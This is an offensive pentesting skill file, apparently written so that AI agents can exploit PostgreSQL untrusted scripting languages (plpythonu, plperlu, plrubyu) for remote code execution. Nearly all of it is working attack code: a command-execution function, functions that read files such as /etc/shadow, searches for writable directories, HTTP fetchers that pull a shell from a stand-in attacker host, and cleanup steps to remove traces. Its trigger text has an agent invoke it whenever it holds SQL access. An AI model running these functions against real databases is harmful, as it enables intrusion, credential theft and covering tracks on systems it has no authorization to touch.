Hacktricks-skills postgresql-language-injection

Exploit PostgreSQL scripting languages (plpythonu, plperlu, plrubyu, etc.) to achieve remote code execution from a compromised database. Use this skill whenever you have SQL access to a PostgreSQL database and want to enumerate available languages, trust untrusted languages, or execute arbitrary commands on the underlying OS. Trigger this for any PostgreSQL exploitation, database-to-OS privilege escalation, or when you need to run system commands through SQL.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages/SKILL.MD
source content

PostgreSQL Language Injection for RCE

When you have SQL access to a PostgreSQL database, you can exploit installed scripting languages to execute arbitrary code on the underlying operating system. This is a powerful post-exploitation technique.

Step 1: Enumerate Available Languages

First, check what scripting languages are installed in the PostgreSQL instance:

-- List all installed languages
\dL *

-- Or query the system catalog
SELECT lanname, lanpltrusted, lanacl FROM pg_language;

What to look for:

  • Languages ending in
    u
    are untrusted versions (e.g.,
    plpythonu
    ,
    plpython3u
    ,
    plperlu
    ,
    plrubyu
    ,
    pljavaU
    )
  • The
    lanpltrusted
    column shows if PostgreSQL trusts the language (
    true
    = restricted,
    false
    = can execute code)
  • Untrusted languages allow full system access

Step 2: Trust an Untrusted Language (If Needed)

If you find an interesting language but it's marked as trusted (

lanpltrusted = true
), try to change it:

-- Check your permissions first
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

-- Trust the language (requires appropriate privileges)
UPDATE pg_language SET lanpltrusted = true WHERE lanname = 'plpythonu';

Step 3: Load Missing Languages (If Superuser)

If a language isn't installed but you have superuser access:

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION plrubyu;
CREATE EXTENSION pljavaU;

Step 4: Execute Commands via plpythonu

The most common exploitation path is through

plpythonu
(Python). Create functions to execute system commands:

Remote Code Execution

CREATE OR REPLACE FUNCTION exec(cmd text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    return os.popen(cmd).read()
$$
LANGUAGE 'plpythonu';

-- Execute any command
SELECT exec('id');
SELECT exec('whoami');
SELECT exec('cat /etc/passwd');

Get Current OS User

CREATE OR REPLACE FUNCTION get_user(pkg text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    return os.getlogin()
$$
LANGUAGE 'plpythonu';

SELECT get_user('');

List Directory Contents

CREATE OR REPLACE FUNCTION lsdir(dir text)
RETURNS VARCHAR(65535) stable
AS $$
    import json
    from os import walk
    files = next(walk(dir), (None, None, []))
    return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';

SELECT lsdir('/');
SELECT lsdir('/home');

Find Writable Directories

CREATE OR REPLACE FUNCTION findw(dir text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        writables = []
        def find_writable(path):
            if not os.path.isdir(path):
                return
            if os.access(path, os.W_OK):
                writables.append(path)
            if not os.listdir(path):
                return
            else:
                for item in os.listdir(path):
                    find_writable(os.path.join(path, item))
        find_writable(path)
        return writables
    return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';

SELECT findw('/');

Find Specific Files

CREATE OR REPLACE FUNCTION find_file(exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        executables = []
        def find_executables(path):
            if not os.path.isdir(path):
                executables.append(path)
            if os.path.isdir(path):
                if not os.listdir(path):
                    return
                else:
                    for item in os.listdir(path):
                        find_executables(os.path.join(path, item))
        find_executables(path)
        return executables
    a = my_find('/')
    b = []
    for i in a:
        if exe_sea in os.path.basename(i):
            b.append(i)
    return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_file('psql');
SELECT find_file('ssh');

Find Executables in Directory

CREATE OR REPLACE FUNCTION findx(dir text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        executables = []
        def find_executables(path):
            if not os.path.isdir(path) and os.access(path, os.X_OK):
                executables.append(path)
            if os.path.isdir(path):
                if not os.listdir(path):
                    return
                else:
                    for item in os.listdir(path):
                        find_executables(os.path.join(path, item))
        find_executables(path)
        return executables
    a = my_find(dir)
    b = []
    for i in a:
        b.append(os.path.basename(i))
    return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT findx('/');

Read Files (Base64 Encoded)

CREATE OR REPLACE FUNCTION read(path text)
RETURNS VARCHAR(65535) stable
AS $$
    import base64
    encoded_string = base64.b64encode(open(path).read().encode())
    return encoded_string.decode('utf-8')
$$
LANGUAGE 'plpythonu';

SELECT read('/etc/passwd');
SELECT read('/etc/shadow');

Get File Permissions

CREATE OR REPLACE FUNCTION get_perms(path text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    status = os.stat(path)
    perms = oct(status.st_mode)[-3:]
    return str(perms)
$$
LANGUAGE 'plpythonu';

SELECT get_perms('/etc/passwd');

Make HTTP Requests (Python 2)

CREATE OR REPLACE FUNCTION req2(url text)
RETURNS VARCHAR(65535) stable
AS $$
    import urllib
    r = urllib.urlopen(url)
    return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req2('http://your-server.com/shell.php');

Make HTTP Requests (Python 3)

CREATE OR REPLACE FUNCTION req3(url text)
RETURNS VARCHAR(65535) stable
AS $$
    from urllib import request
    r = request.urlopen(url)
    return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req3('http://your-server.com/shell.php');

Alternative Languages

plperlu (Perl)

CREATE OR REPLACE FUNCTION exec(cmd text)
RETURNS text
AS $$
    my $result = `$_[0]`;
    return $result;
$$
LANGUAGE 'plperlu';

SELECT exec('id');

plrubyu (Ruby)

CREATE OR REPLACE FUNCTION exec(cmd text)
RETURNS text
AS $$
    return `$_[0]`;
$$
LANGUAGE 'plrubyu';

SELECT exec('id');

Important Notes

  1. Function size limit: PostgreSQL functions return VARCHAR(65535) max. For large outputs, use base64 encoding or chunk the data.

  2. Persistence: Functions created in the database persist until dropped. Clean up after yourself:

    DROP FUNCTION exec(text);
    DROP FUNCTION lsdir(text);
    
  3. Error handling: If a function fails, check PostgreSQL logs or wrap in error handling.

  4. Privileges: You need CREATE FUNCTION privileges. If you don't have them, you may need to escalate first.

  5. Language availability: Not all PostgreSQL installations have untrusted languages enabled. Always enumerate first.

Quick Reference

GoalFunctionExample
Execute command
exec()
SELECT exec('id');
List directory
lsdir()
SELECT lsdir('/');
Find writable dirs
findw()
SELECT findw('/');
Find file
find_file()
SELECT find_file('ssh');
Read file
read()
SELECT read('/etc/passwd');
HTTP request
req3()
SELECT req3('http://evil.com');

Cleanup

After exploitation, remove your functions to avoid leaving traces:

DROP FUNCTION IF EXISTS exec(text);
DROP FUNCTION IF EXISTS get_user(text);
DROP FUNCTION IF EXISTS lsdir(text);
DROP FUNCTION IF EXISTS findw(text);
DROP FUNCTION IF EXISTS find_file(text);
DROP FUNCTION IF EXISTS findx(text);
DROP FUNCTION IF EXISTS read(text);
DROP FUNCTION IF EXISTS get_perms(text);
DROP FUNCTION IF EXISTS req2(text);
DROP FUNCTION IF EXISTS req3(text);

⚠️ Legal Notice: Only use these techniques on systems you own or have explicit written authorization to test. Unauthorized access to computer systems is illegal.